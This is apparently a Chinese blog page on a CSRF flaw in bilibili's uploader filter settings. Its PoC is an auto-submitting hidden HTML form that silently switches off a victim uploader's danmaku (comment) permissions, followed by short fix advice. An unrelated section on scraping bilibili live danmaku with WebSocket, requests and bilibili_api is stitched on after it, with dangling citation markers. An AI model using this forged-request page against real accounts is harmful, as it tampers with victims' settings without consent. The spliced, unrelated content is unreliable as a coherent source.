【漏洞学习——CSRF】bilibili某处csrf漏洞

漏洞细节

此漏洞可以针对up主,关闭下列三项弹幕权限,使其发稿视频没有弹幕!
csrf位置在用户中心-->过滤管理中

http://member.bilibili.com/#gl_manage

poc

<html>
   <head>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
   <title>CSRF/exploit--bilibili</title>
   </head>

    <body>
   <form action="http://member.bilibili.com/video_manage.do?act=save_filter" method="POST">
      <input type="hidden" name="format" value="json" />
      <input type="hidden" name="accept_guest" value="0" />
      <input type="hidden" name="accept_spcmt" value="0" />

      <input type="hidden" name="accept_advcmt" value="0" />
      <input type="hidden" name="block_group" value="" />
      <input type="hidden" name="new_filters" value="[]" />
    </form>
   </body>
 <script>
      document.forms[0].submit();
 </script>
</html>

修复方案

(1)加上token
(2)验证reffer

 

### 获取 Bilibili 直播间弹幕 API 或方法 #### 使用 WebSocket 实现 WebSocket 是一种用于浏览器和服务器之间双向通信的技术,在获取实时弹幕方面具有优势。对于 Flutter/Dart 和 Java 的实现方式,可以通过连接到 B 站官方提供的 WebSocket 地址来接收直播间内的弹幕信息[^1]。 ```dart import 'package:web_socket_channel/io.dart'; void main() { var channel = IOWebSocketChannel.connect('wss://broadcastlv.chat.bilibili.com/sub'); channel.stream.listen((message) { print(message); }); } ``` 此代码展示了如何建立与 B 站直播间的 WebSocket 连接并监听传入的消息流。需要注意的是实际应用中还需要处理认证以及消息解析等问题。 #### HTTP 请求库 Requests 方法 (Python) 另一种方案是利用 `requests` 库向特定 URL 发送 GET 请求从而获得 JSON 格式的响应体,其中包含了最新的几条弹幕内容。这种方式适用于不需要持续更新场景下的简单抓取需求[^2]。 ```python import requests def get_barrage(room_id): url = f"http://api.live.bilibili.com/ajax/msg?roomid={room_id}" response = requests.get(url).json() data = response['data']['room'] for item in reversed(data): # 反转列表以按时间顺序显示最新弹幕 print(item) get_barrage("指定的房间ID") ``` 上述 Python 脚本定义了一个函数用来根据给定的房间 ID 抓取最近一段时间内发送过的所有弹幕,并将其打印出来。 #### 利用 bilibili_api 库简化操作 为了更方便快捷地访问 B 站的各项功能,包括但不限于获取视频详情、评论区留言及弹幕等资源,可以考虑安装第三方开发维护的支持多语言版本(如 Python)的 SDK —— `bilibili_api` 。它不仅封装好了必要的接口调用逻辑而且提供了详尽文档指导使用者快速上手[^3][^4]。 ```python from bilibili_api import Verify, VideoInfo verify = Verify(sessdata="个人账户对应的sessdata", csrf="bili_jct") video_info = VideoInfo(bvid="目标视频编号", verify=verify) with open(r'保存路径', 'a') as file: for danmu_item in video_info.get_danmaku(): file.write(danmu_item.text + '\n') ``` 这段脚本实现了将某部作品下所有的弹幕逐行写入本地文件的功能,便于之后做进一步的数据分析工作比如制作词云图等等。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值